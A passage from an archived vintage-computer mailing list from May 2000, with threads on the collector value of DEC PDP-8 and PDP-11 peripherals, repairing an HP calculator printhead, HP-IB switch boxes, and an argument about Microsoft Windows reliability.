(I have some DJ11s, but > not currently on that machine). Paper tape was added early on, using 3rd > party cards and devices. There _may_ have been a DX11 in the > configuration as well. > > > Yikes. Again, collectors like the original stuff *when* it was available. > > There are a lot of 3rd party devices that are worth $$$ (8 peripherals). > > I've said it before and I'll say it again -- I am not a collector! > I understand. > > Exactly, so if you wanted one then it would cost you considerable $$$. Same > > thing as collecting/restoring old cars, boats, radios, ??? > > Well, I used to be interested in old radios, but when the 'collectors' > moved in, it all went out of my price range. So I've still got the few > sets I managed to get before that happened, I've still got the valve > testers, spares, etc. But I'm not likely to get any more. > > Looks like computer collecting may go the same way. > Already has. > > > > > > one in a PDP-8A. > > > > > > Probably :-(. Which is, of course, where it would stay if I found one > > > like that. > > > > > Unfortunatly, PDP-8As aren't worth much $$$ (maybe $100 - so not worth > > restoring) so they would be stripped and the cards would be placed in an 8E. > > Err, of _course_ they're worth restoring. They're a 12 bit DEC computer > for one thing. And they're interesting to work on. > 12 bit computers were obsolete at the end of the '60s. A 12 bit computer built 6 years after they were *totally* useless is not my cup of tea... and from the number of DEC engineers I have spoken to - thye feel the same. > > BTW: I have an 8A I stripped for the interfaces if anyone wants it for the > > cost of shipping. [that's box PDP-8/A-500, CPU and memory] > > And just how does stripping the interfaces out of a machine relate in any > way to 'preservation' (which, IIRC, is the main theme of this list). > Preservation comes in many packages. If I can use the peripherals from one *new*, very common computer in an old one then I would prefer to increase the value and use of the old computer. If the subscribers on this list tried to preserve every computer they got then they would probably be using COCO-2s for insulation in their homes ;-). My objective has always been to preserve any computer built before 1973 - and I have saved well over 60 of those since the beginning of the year from the dump, crushers, etc... Not every computer can be preserved , ie: PDP-11/34. If I saw an 11/34 with an RK11-D in it I would take the RK11 and any other *useful* interface and drop it into some older unibus computer made before '73. I get quite a few 11/34s in and *no* one wants them. By the end of this month I will have gone through at least 25 34's and I am getting another 8 PDP-11/34 systems in June - who wants the CPUs??? I guess it's different for folks who don't get a lot of old systems. http://www.pdp8.com/ John > -tony > > From ss at allegro.com Fri May 5 18:41:40 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:31 2005 Subject: HP 3000/925 available In-Reply-To: <"l03102800b537b2b86f07(a)(091)24.24.232.57(093)*"@MHS> References: <391198BE.11762.104F2E07@localhost> Message-ID: <3912F9C4.13702.15B26111@localhost> Mike "biting the hand that feeds him" Ford writes: > >> I have this old HP 3000 that is gathering dust. > > I think the rule we should make is that anyone posting anything weighing > more than 2 lbs without giving the location agrees to pay shipping. ;) Whilst I agree that I should have taken the extra few minutes or so of time it would have required to email the "giver" and ask "where" to benefit the would-be "givee", it's pretty obvious to anyone thinking about it for a bit that I shouldn't shout my "mea culpa" very loudly. I've now emailed Griff to ask him ... and I'll post any reply I get. BTW, I have no idea how the @#$%^ text got so screwed up...it looked fine in Pegasus :) It was probably MIME/rich/some-such, and I've noticed infrequent problems with that kind of text. Sorry! Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From dylanb at sympatico.ca Fri May 5 20:30:28 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> Message-ID: <003e01bfb6fa$a9389480$fd83fea9@office> ----- Original Message ----- From: Brian Roth To: Sent: Saturday, May 06, 2000 7:49 PM Subject: Re: PDP8/E peripherals > So THATS why you didn,t get back to me about a trade for the DECtape drive. > Now you want a grand for it. Interesting how one person says a TU56 is worth a > $1000 and now its law. Its only worth $1000 if someone pays you a $1000. Good > luck... > Last year Chuck McManis(sp) posted that the going rate for a TU56 was $1000. I get *considerably* more for them. They *are* rare and collectors *really* like them (yuck). If you can get one running then you really have *gold*. I have never seen one go on eBay before but I would hate to see it's value in eBay $$$$! Lawrence shouldn't have any problems getting at *least* a $1000 for a TU56. If he's getting any less then he needs to contact me ;-) http://www.pdp8.com/ john > Lawrence LeMay wrote: > > > Ok, i finally found the guy at his office (we work for the same department > > here at the university ;) and had a chat. Looks liek he might try to get > > me the pdp8/e cpu (without any boards) and the boards if he can find the > > box that they are in. > > > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > > reasonable amount, AND pick this stuff up in minneapolis, AND do it > > pretty quickly? I know Dectape units are worth about $1000, so this > > is a worthwile thing to get if you have teh space for it (the curse > > of working for the university, is that they dont pay me enough to > > be able to afford the space for all thsi stuff)... > > > > If you want this, speak up and i'll go see what i can arrange with > > him. i want the cpu, and boards if they are found (my 8/e has no > > interface boards, and front panel is damaged, and power cable is > > cut, as you might recall...) > > > > -Lawrence LeMay > > From broth at heathers.stdio.com Sat May 6 19:31:07 2000 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> <003e01bfb6fa$a9389480$fd83fea9@office> Message-ID: <3914B94B.639A2DC9@heathers.stdio.com> No, what he needs to do is not offer to trade with someone and then put it up for sale. I'm not disputing its value. And sometimes it IS like collecting old cars. You can pay big bucks for the parts at a flea market or find a complete perfectly restorable condition car in someones garage for the price of a tow. I found an almost perfect 1971 H.O. Trans Am in the junkyard once for $900 that only had 2100 miles on it. John, as you told me once, this stuff is out there. You just have to be creative in your search and yes, most of it is free to whoever hauls it away. Brian. Brian. johnb wrote: > ----- Original Message ----- > From: Brian Roth > To: > Sent: Saturday, May 06, 2000 7:49 PM > Subject: Re: PDP8/E peripherals > > > So THATS why you didn,t get back to me about a trade for the DECtape > drive. > > Now you want a grand for it. Interesting how one person says a TU56 is > worth a > > $1000 and now its law. Its only worth $1000 if someone pays you a $1000. > Good > > luck... > > > > Last year Chuck McManis(sp) posted that the going rate for a TU56 was $1000. > I get *considerably* more for them. They *are* rare and collectors *really* > like them (yuck). If you can get one running then you really have *gold*. I > have never seen one go on eBay before but I would hate to see it's value in > eBay $$$$! > > Lawrence shouldn't have any problems getting at *least* a $1000 for a TU56. > If he's getting any less then he needs to contact me ;-) > > http://www.pdp8.com/ > john > > > Lawrence LeMay wrote: > > > > > Ok, i finally found the guy at his office (we work for the same > department > > > here at the university ;) and had a chat. Looks liek he might try to get > > > me the pdp8/e cpu (without any boards) and the boards if he can find the > > > box that they are in. > > > > > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > > > reasonable amount, AND pick this stuff up in minneapolis, AND do it > > > pretty quickly? I know Dectape units are worth about $1000, so this > > > is a worthwile thing to get if you have teh space for it (the curse > > > of working for the university, is that they dont pay me enough to > > > be able to afford the space for all thsi stuff)... > > > > > > If you want this, speak up and i'll go see what i can arrange with > > > him. i want the cpu, and boards if they are found (my 8/e has no > > > interface boards, and front panel is damaged, and power cable is > > > cut, as you might recall...) > > > > > > -Lawrence LeMay > > > > From lemay at cs.umn.edu Fri May 5 21:11:56 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals In-Reply-To: <3914B94B.639A2DC9@heathers.stdio.com> from Brian Roth at "May 6, 2000 08:31:07 pm" Message-ID: <200005060211.VAA02470@caesar.cs.umn.edu> > > > ----- Original Message ----- > > From: Brian Roth > > To: > > Sent: Saturday, May 06, 2000 7:49 PM > > Subject: Re: PDP8/E peripherals > > > > > So THATS why you didn,t get back to me about a trade for the DECtape > > drive. > > > Now you want a grand for it. Interesting how one person says a TU56 is > > worth a > > > $1000 and now its law. Its only worth $1000 if someone pays you a $1000. > > Good > > > luck... > > > No, no... Geez, this is what I get for taking an hour off from the internet to watch Greed. Those are completely separate things. Yes, i actually located 2 completely separate dectape units within about a 2 week period. The one that is gutted, I have a few pieces from. For those, i'd like to trade them for something I can use. For the intact one that is probably worth $1000, i'm NOT picking it up, and if someone local wants to offer the person who is trying to sell this stuff some money (not necessarily $1000, I bet half that or even less would probably do if you came to pick it up) then you might just get the peripheral that you've been dreaming of having... > > > > Last year Chuck McManis(sp) posted that the going rate for a TU56 was $1000. > > I get *considerably* more for them. They *are* rare and collectors *really* > > like them (yuck). If you can get one running then you really have *gold*. I > > have never seen one go on eBay before but I would hate to see it's value in > > eBay $$$$! > > > > Lawrence shouldn't have any problems getting at *least* a $1000 for a TU56. > > If he's getting any less then he needs to contact me ;-) Unfortunately all I have are the motors (3 of the 4), the front plastic panel, the front switches (2 units). And mixed in with other cards I obtained at the same time, I also have all the flip-chips that were in the unit. Oh, and the two read/write heads and the tape guides. If I had a system based on a Dectape (i'm assuming i'll be aiming for a rx02 and decpack system config) and if someone else came across a gutted dectape unit, i would be glad that they took the time to scavenge parts that they dont need in order to help me out. Thats just the way i'm looking at it. I know many of you have been in the same boat i'm in. I offer stuff occasionally and irregularily as I come across it, and all I end up with is wasting a lot of my time and effort, while someone else gets the stuff and I just get compensated for shipping costs (and not effort). And no, i'm not looking for a little more cash, if i want a few more dollars I can save a few dollars easily enough. There is satisfaction in seeing others get what they've been looking for, but there is also satisfaction gained by getting the items you yourself are looking for. Its that last piece of the puzzle i'm attempting to figure out ;) > > > > http://www.pdp8.com/ > > john > > > > > Lawrence LeMay wrote: > > > > > > > Ok, i finally found the guy at his office (we work for the same > > department > > > > here at the university ;) and had a chat. Looks liek he might try to get > > > > me the pdp8/e cpu (without any boards) and the boards if he can find the > > > > box that they are in. > > > > > > > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > > > > reasonable amount, AND pick this stuff up in minneapolis, AND do it > > > > pretty quickly? I know Dectape units are worth about $1000, so this > > > > is a worthwile thing to get if you have teh space for it (the curse > > > > of working for the university, is that they dont pay me enough to > > > > be able to afford the space for all thsi stuff)... > > > > > > > > If you want this, speak up and i'll go see what i can arrange with > > > > him. i want the cpu, and boards if they are found (my 8/e has no > > > > interface boards, and front panel is damaged, and power cable is > > > > cut, as you might recall...) > > > > > > > > -Lawrence LeMay > > > > From mikeford at socal.rr.com Sat May 6 00:42:56 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals In-Reply-To: <3914B94B.639A2DC9@heathers.stdio.com> References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> <003e01bfb6fa$a9389480$fd83fea9@office> Message-ID: >And sometimes it IS like collecting old cars. You can pay big bucks for the >parts at a flea market or find a complete perfectly restorable condition >car in >someones garage for the price of a tow. I found an almost perfect 1971 H.O. >Trans Am in the junkyard once for $900 that only had 2100 miles on it. How big of a piece did you get? From mikeford at socal.rr.com Sat May 6 00:36:41 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals In-Reply-To: <003e01bfb6fa$a9389480$fd83fea9@office> References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> Message-ID: What about a pair of TU81 tape drives? (monsters taking a whole tall rack). From technoid at cheta.net Sat May 6 00:20:22 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:31 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <003701bfb6d3$f78e0e20$942d63c3@gazk> Message-ID: <200005060608.CAA08063@lexington.ioa.net> >Is it truly necessary to fill the list with stuff like "Microsoft is awful", >etc etc etc.? One of the primary functions of this group is to advance computing knowlege by disseminating information hard won through experience with machines that 'have been'. I agree that simple admonitions such as 'Microsoft sux' are ameture and deserve little attention. I must protest however. We know enough by far about various architectures to compare them and Microsoft's products clearly do not pass muster. Not to say they don't pass the average computer user's tests of ease of use or understandability but thier underlying architectures are poorly designed and prone to failure. >I don't see how that is particularly related to classic >computers... These threads have everything to do with Classic computing as we have been given the opportunity thereby to view the growth of many environments and to compare them at thier various stages of growth. >Like the "Nuke Redmond" thread, which filled my mailbox with >probably 100+ messages which I had no desire at all to even look at. It is >really annoying to check your mail, have about 70-100 messages, and have >about 80 or so be pure garbage like that. Fair enough. I anticipated more flames when I wrote that article than were posted. I disagree that the original message and the threaded replies were "pure garbage" or even impure garbage. Most of the 'replies' on that thread had nothing to do with the original message which pertained to Microsoft's disgusting habit of destroying people and companies rather than competing decently. You are discussing topics with peers not morons. We really know of what we speak. >Besides, not everyone dislikes Microsoft's products. I for one, like their products a >lot, I'm using Win 98SE right now, and our NT server has been running continuously for >about 4 years now, no crashes at all. I don't believe you have had a four year uptime with NT unless your NT box is not connected to a network. At least admit you reboot the machine from time to time. The best Uptime I have had on an NT machine is NT4 Terminal Server which stayed up for six months without a reboot. I feel NT is a qualified server OS but my particular circumstance is an NT machine with little network activity. On other larger NT server networks I work on I have to reboot the server as often as once per week to maintain decent availability. I think it has to do with hash tables NT creates to deal with high-demand network activity. My guess is NT does not deallocate the ram allocated to these processes which eventually degrades network performance to the degree that the admin must 'deallocate' this ram by manually rebooting the server at intervals defined by the level of use the server receives. As far as 95/98 is concerned, if you know anything about the underlying foundation of an operating system you must admit that 95/98 is a horrible kluge. I agree that 98 is much better than 95 in terms of stability but neither will ever be a great operating system because thier foundation is nonexistent. I liken 9x to an upside-down pyramid based the MSDOS interrupt handler. I could imagine a 9x system being stable despite it's poor foundation if that foundation were made of diamond. This would not be an estheticly pleaseing operating system but it could be made stable if it's core were very strong. My main objection to 9x is that application installs replace core components with non-tested ones ( at least in that given configuration ). In other words, each Windows machine is unique in it's core configuration. This is a dangerous design approach and invites nearly infinite opportunities for incompatabilities and general instability. >And I do have experience with other OS's, I >also run BeOS on my machine, I also run Solaris, Netware, VMS, RT-11, OS-32, >Infoshare, CP/M, MacOS, UnixWare, and HP-UX. I'd say VMS is my favorite, >BeOS is up there, same with UnixWare + Win 98, with Linux, Netware, Bully for you and I mean that. Experiencing other operating systems is a tremendous learning tool. Ease of use is important but more important still is stability. My guess - and only a guess is that you have not actually run these alternate opertating systems in a production environment and so cannot guage thier relative stability. >MacOS being my all-time least favorites. Macos is pretty stable but I'd have to agree with you that it's not very pretty. It lacks a lot in terms of configurability that I look for in an operating system. That opinion does not affect the fact that it has been proven stable and users don't have to muck with it to make it work. >I wouldn't even consider running a >Linux machine unless there was money in it for me ;p Anyway, I've now added >some of what I hate, going against the entire message I was saying, but >anyway, how about having the list a bit more on topic? I don't blame you. Linux is not ready for Prime Time on the desktop. It lacks the level of user-pretties and network configurability I would look for in a desktop environment. My personal choice would be OS/2 for just about everything desktop related. I wish IBM had the guts to market it. -- ----------------------------------------------------------- Jeffrey S. Worley Technical Services Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From whdawson at mlynk.com Sat May 6 02:42:03 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:31 2005 Subject: Applicon Main Frame Item #320691939 on eBay Message-ID: <001601bfb72e$9242e760$5fe3dfd0@cobweb.net> There is no photo, and here's the description: "Applicon Mainframe For sale. Must be moved from current location. Consists of one PDP11 Processor, reel to reel tape backup unit, 200 megabyte memorex removable platter hard drive, 4 autocad terminals with green crts. System was once owned by Fisher Motorbody and used to design car bodies. System is two 6 ft tall standard 19" racks and the external hard drive unit. Each terminal is a build in desk unit with the monitor mounted on a pole in the back and sitting one foot above the desk area. Unit must be moved for the space. Shipping must be paid by the buyer. Best offer and take it away." There's only one bid for $10.00, no reserve, and the auction ends in about 8 hours. Does this sound like something that would be worth driving a little over 300 miles to pick up? The PDP11 description leaves a lot to the imagination. Does anyone know which PDP11 was used by Applicon? Bill Dawson Washington, PA whdawson@mlynk.com ? From pete at dunnington.u-net.com Sat May 6 02:45:59 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:31 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 0:24) References: Message-ID: <10005060845.ZM3073@indy.dunnington.u-net.com> On May 6, 0:24, Tony Duell wrote: > On Fri May 5, 23:16, Pete Turnbull wrote: > > > Has anyone here managed to mend a printhead like this? > > > > No, but could you use silver-loaded conductive paint? > Yes, I'd thought of that (and I keep a bottle in my tool box). > > Problem is, there's a distinct crack to bridge where the 2 parts have > been stuck together,so the paint may well not last too well. Depends on what stress it might be subject, I suppose. > Worse than that, the printhead is 1/4" wide, and there are 8 tracks in > that width. I don't fancy trying to paint that lot without shorting at > least 2 of them together... Soldering on that pitch I could manage, > though, if only the solder would 'take'. Ah. Given the thickness of the paint, painting tracks would be difficult, even with a good-quality fine brush. The only other suggestion I can think of, is to paint a wide strip, covering all 8 tracks, and then use a scalpel blade (and some patience) to gently scratch gaps between them. -- Pete Peter Turnbull Dept. of Computer Science University of York From wilson at dbit.dbit.com Sat May 6 02:54:28 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: <001001bfb6ef$947e3000$fd83fea9@office>; from dylanb@sympatico.ca on Fri, May 05, 2000 at 08:11:08PM -0400 References: <200005052224.PAA00800@shell1.aracnet.com> <001001bfb6ef$947e3000$fd83fea9@office> Message-ID: <20000506035428.A32193@dbit.dbit.com> On Fri, May 05, 2000 at 08:11:08PM -0400, johnb wrote: > No, that's going-rate collector prices. You live in a different reality from the rest of us. If you manage to fleece the collector types who buy PDPs as trophies which they will never use or understand, more power to you, they certainly deserve it. But just because someone, one time, paid $X for something, doesn't mean that that something is officially *worth* $X from now on. The rest of us have been doing trades and freebies with people with similar interests, and plan to continue to do so. > And, no, I don't know anyone who has > ever *paid* for any license for any old DEC equipment for personal use. You do now. Re RL01/02 drives being worthless, maybe to collectors (non-users) but those guys live in a fantasy world anyway. I just got a request this week from a commercial user (in Russia) who was desparate for spare RL drives, and it sure isn't the first time. Meanwhile, no one is looking for RS64s or RS11s or RP02s as replacements for their commercial systems, because those drives are inherently unreliable at this point. So again, the fact that one or two rich kids wanted to buy an RK02 so they could build a shrine to the early career they want to *pretend* was theirs, doesn't mean that those drives are genuinely more desirable than the workhorses that real users have *actually* relied upon for 75% of the PDP-11 line's history. John Wilson D Bit From wilson at dbit.dbit.com Sat May 6 02:58:35 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: ; from allisonp@world.std.com on Fri, May 05, 2000 at 04:17:32PM -0400 References: <20000505155150.A30766@dbit.dbit.com> Message-ID: <20000506035835.B32193@dbit.dbit.com> On Fri, May 05, 2000 at 04:17:32PM -0400, allisonp@world.std.com wrote: > I do hae the rx01 and maybe the rx02 manuals. I ahve to check to see if > the drawing for the rx8e are in them as it has to be a trivial board. I definitely have RX8E prints so if you don't already, let me know if you want a copy. There's not much to the board at all, the parts that actually *do* anything are dwarfed by the drivers/receivers/selection stuff. John Wilson D Bit From mikeford at socal.rr.com Sat May 6 04:41:44 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: <20000506035428.A32193@dbit.dbit.com> References: <001001bfb6ef$947e3000$fd83fea9@office>; from dylanb@sympatico.ca on Fri, May 05, 2000 at 08:11:08PM -0400 <200005052224.PAA00800@shell1.aracnet.com> <001001bfb6ef$947e3000$fd83fea9@office> Message-ID: >On Fri, May 05, 2000 at 08:11:08PM -0400, johnb wrote: >> No, that's going-rate collector prices. > >You live in a different reality from the rest of us. If you manage to fleece >the collector types who buy PDPs as trophies which they will never use or >understand, more power to you, they certainly deserve it. But just because This is an old argument, but I know of nothing better than the open market to set a "fair" price. A caveat that many people on this list seem to cheerfully brush aside is that a "really" working system has a LOT more value. So many people are willing to buy junk and "hope" it works, or that they can fix it, it just isn't funny. There is also a BIG difference in the value of a fully refurbished unit vs a "working" unit. From broth at heathers.stdio.com Sun May 7 07:38:55 2000 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> <003e01bfb6fa$a9389480$fd83fea9@office> Message-ID: <391563DF.37E1F54D@heathers.stdio.com> I drove it home. Mike Ford wrote: > >And sometimes it IS like collecting old cars. You can pay big bucks for the > >parts at a flea market or find a complete perfectly restorable condition > >car in > >someones garage for the price of a tow. I found an almost perfect 1971 H.O. > >Trans Am in the junkyard once for $900 that only had 2100 miles on it. > > How big of a piece did you get? From jpero at cgocable.net Sat May 6 04:39:03 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:51:31 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005060845.ZM3073@indy.dunnington.u-net.com> References: ard@p850ug1.demon.co.uk (Tony Duell) "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 0:24) Message-ID: <200005061333.e46DXwr18305@admin.cgocable.net> > Date: Sat, 6 May 2000 07:45:59 GMT > From: pete@dunnington.u-net.com (Pete Turnbull) > To: classiccmp@classiccmp.org > Subject: Re: HP calculator thermal printheads (HP82143, etc) > Reply-to: classiccmp@classiccmp.org > On May 6, 0:24, Tony Duell wrote: > > On Fri May 5, 23:16, Pete Turnbull wrote: > > Ah. Given the thickness of the paint, painting tracks would be difficult, > even with a good-quality fine brush. The only other suggestion I can think > of, is to paint a wide strip, covering all 8 tracks, and then use a scalpel > blade (and some patience) to gently scratch gaps between them. Ugh, that is exact same thing what I did many times in my retired compaq LTE 386s/20 on one of two keyboard cable. Is there a better quality kind than this conductive paint I got? Then name one! Wizard > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > > From dylanb at sympatico.ca Sat May 6 10:36:42 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 References: <200005052224.PAA00800@shell1.aracnet.com><001001bfb6ef$947e3000$fd83fea9@office> <20000506035428.A32193@dbit.dbit.com> Message-ID: <001501bfb770$e10cdd00$fd83fea9@office> ----- Original Message ----- From: John Wilson To: Sent: Saturday, May 06, 2000 3:54 AM Subject: Re: value of RK05 > On Fri, May 05, 2000 at 08:11:08PM -0400, johnb wrote: > > No, that's going-rate collector prices. > > You live in a different reality from the rest of us. If you manage to fleece > the collector types who buy PDPs as trophies which they will never use or > understand, more power to you, they certainly deserve it. But just because > someone, one time, paid $X for something, doesn't mean that that something > is officially *worth* $X from now on. The rest of us have been doing trades > and freebies with people with similar interests, and plan to continue to do so. > I base the price on *alot* more than one sale. Ie: 3 PDP-11/35s for $6-7K minimum.I don't think you want to know what Classic-11s (pre 11/20) sell for. Remember, I put the 11/35 on eBay to specifically show what these machines *really* sell for - I was a bit disappointed, it only went for $6K. The collectors that tend to buy my equipment *do* in fact use it for fun.. probably about as much as folks here. For most, it was the first computer they ever used. Look at what list members here are willing to pay for little pieces on eBay. Again, I want to re-interate that I sell quite a few minicomputers and my prices are based on demand/offers and the prices I quote here are based on numerous sales. BTW Museums are willing to pay considerable money for old all-transistor minicomputers now as well! > > And, no, I don't know anyone who has > > ever *paid* for any license for any old DEC equipment for personal use. > > You do now. > (1) - again the software is 30 years old. > Re RL01/02 drives being worthless, maybe to collectors (non-users) but those > guys live in a fantasy world anyway. I just got a request this week from > a commercial user (in Russia) who was desparate for spare RL drives, and it > sure isn't the first time. Meanwhile, no one is looking for RS64s or RS11s > or RP02s as replacements for their commercial systems, because those drives > are inherently unreliable at this point. So again, the fact that one or > two rich kids wanted to buy an RK02 so they could build a shrine to the early > career they want to *pretend* was theirs, doesn't mean that those drives are > genuinely more desirable than the workhorses that real users have *actually* > relied upon for 75% of the PDP-11 line's history. > I said the RL01s were worthless to collectors. Price is of course based on rarity. I think *every* PDP-11/34 was shipped with RL01s ;-) http://www.pdp8.com/ john > John Wilson > D Bit > From dylanb at sympatico.ca Sat May 6 10:39:43 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 References: "2000 at 08:11:08PM -0400"<"200005052224.PAA00800"@shell1.aracnet.com><001001bfb6ef$947e3000$fd83fea9@office> Message-ID: <001d01bfb771$4cb23c80$fd83fea9@office> ----- Original Message ----- From: Mike Ford To: Sent: Saturday, May 06, 2000 5:41 AM Subject: Re: value of RK05 "There is also a BIG difference in the value of a fully refurbished unit vs a "working" unit." Agreed! Authenticity and background of the person fully restoring the mini has a lot to do with value. Also, if the person restoring it *can* support it through spare parts and documentation also establishes value. http://www.pdp8.com/ john > > From rigdonj at intellistar.net Sat May 6 10:30:24 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:32 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000001bfb56c$e2ec5de0$59a40b18@C721564-A.sttln1.wa.home.co m> References: <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000506103024.269705e6@mailhost.intellistar.net> At 06:50 PM 5/3/00 -0700, you wrote: > > >-----Original Message----- >From: owner-classiccmp@classiccmp.org >[mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe >Sent: Wednesday, May 03, 2000 1:12 PM >To: classiccmp@classiccmp.org >Subject: Re: Couple of cool HP 110/150 finds > > >>HP-IB ABC switch (92205Y) Used to chain up to 21 external HP-IB devices >>(have you seen one of these before, Joe?) > > I have one but it looks about like one of the standard RS-232 switch >boxs and it only switchs between four (i think!) sets of HP-IB cables. > >Well, it does have three HP-IB connectors but since you can daisy chain the >IB devices, wouldn't that mean that you could have seven chained devices per >port? If memory serves, my box has five HP-IB connectors. One is common and the other four are swtiched. In theory, the HP-IB can have up to 32 devices per bus but many of the devices only have three binary switch postitions on the address switches so you can only set them for addresses 0 through 7. > > > >>HP Series 100 Communicator Volumes 7-12 (very cool) > > Now those are unusual. I have two volumes but I've never been able to >find any more of them. Where did you find them? > >What? You're asking me to give up my most productive source of free or very >cheap vintage hardware. I'll give you a hint... it's the coolest vintage >computer store in Seattle. That doesn't help me any. I'm still on the opposite end of the country. Joe > >These books are great! What a wealth of photos and information. > >Volume 7 (1983) =International Edition. Introduces the HP150. >Volume 8 (1984) =World Wide Edition. Lotus 123. >Volume 9 (1984) =World Wide Edition. General, no specific topic. >Volume 10(1984) =WWE. Local area networking with HP computers. >Volume 12(1985) =Touchscreen II. > >Ernest > > From rigdonj at intellistar.net Sat May 6 10:31:50 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:32 2005 Subject: What a weekend! In-Reply-To: <008a01bfb568$52d88110$8264c0d0@ajp166> Message-ID: <3.0.1.16.20000506103150.355f5d1a@mailhost.intellistar.net> At 09:15 PM 5/3/00 -0400, you wrote: > >>> > Even got parts from a lunar lander... >>> What? Name 'em! >> >> Part of the RADAR altimeter and a spare hatch. > > >Parts of the flight computer would be a catch! Even those of the >Shuttle. One of my buddies has one from a previous sale. I still haven't seen it yet. Joe From edick at idcomm.com Sat May 6 10:21:09 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> Message-ID: <000701bfb76e$b7ab36c0$0400c0a8@winbook> Well . . . just to add a bit of grist for the mill . . . I've got to agree, Microsoft is not perfect. However, I'm also forced, by grim experience, to point out that, while Microsoft's products, which were pointed out last week by one Harvard professor's comments on the progress of the current (misguided) lawsuit against them by the government, to have both 90+ % of the operating systems market, and to hold 90+ % of the office software market as well, they are not all they could be. I have to agree that I like the Microsoft products, and that's because, unlike the offerings of yesteryear, including those from Microsoft, the current generation does seem to work quite adequately to meet my requirements. Yes, there are features I'd probably appreciate, and there are features which cause annoyance from time to time, but, all in all, they seem to work. I'm often puzzled by the complaints about "crashes" under Win9x and NT. My notebook, running Win95, hasn't crashed, although it's been in almost constant use since early '97 when I bought it. Now, the machines into which I routinely stick cards that may or may not work, along with products that may or may not work, both hardware and software, . . . well, they have had other histories, but it's seldom Microsoft software that's to blame for that. These Microsoft products, notably the Win95 software and its Win98 successor, though not perfect, only cost about $100. The Office software costs about $400, though counterfeits of both are available for much less. The cost of the Office software is only a little more than what the venerable WORDSTAR for CP/M cost back in the '70's, and probably much less if one takes inflation into account. Frankly, there's little reason why anyone should complain in view of the cost, if nothing else. While you can find fault with this Microsoft stuff, you can't name a single OS that's provided as many of the features that people want in a form in which they can use it on the personal computer level. What's more, even CP/M cost more than Win9x. I've never bought a license for a DEC OS, but I doubt it cost under $100. There are Linux versions one can buy in ready-to-install form for under $100, but those will cost $1M, at least, at 50-cents-an-hour before they're working properly and that's only if you're a real *nix expert. What's more, NO *nix version offers the features that make the Win9x desirable for home computer use. There are lots of books out there for *nix users, but I've yet to see a "{insert vendor name here} Office for Dummies" book for LINUX, though I hear there is a "LINUX for Dummies" book out there. The issue of reliability can be argued almost forever, but it does seem to me that the "reliability" of a given system depends a great deal on how the system is being used, to wit, the relative stability of my notebook, which is used for little else than what the OS and Office software support. Of course I do use it to view document files on CD and to prepare overheads and other illustrations using an old version of CorelDRAW!. People have computers for different reasons. If some OS other than what's offered by Microsoft suits you better, e.g. OS/2, then it's likely that you should use that instead. If you prefer one of the many UNIX incarnations, that's your choice as well. However, for the mix of functionality and cost that the "average" home computer user wants and needs, Microsoft seems to have been right on the money. Their market share seems to underscore that point. Dick ----- Original Message ----- From: To: Sent: Friday, May 05, 2000 11:20 PM Subject: I wrote 'Nuke Redmond' > > >Is it truly necessary to fill the list with stuff like "Microsoft is awful", > >etc etc etc.? > > One of the primary functions of this group is to advance computing > knowlege by disseminating information hard won through experience with > machines that 'have been'. I agree that simple admonitions such as > 'Microsoft sux' are ameture and deserve little attention. I must protest > however. We know enough by far about various architectures to compare > them and Microsoft's products clearly do not pass muster. Not to say they > don't pass the average computer user's tests of ease 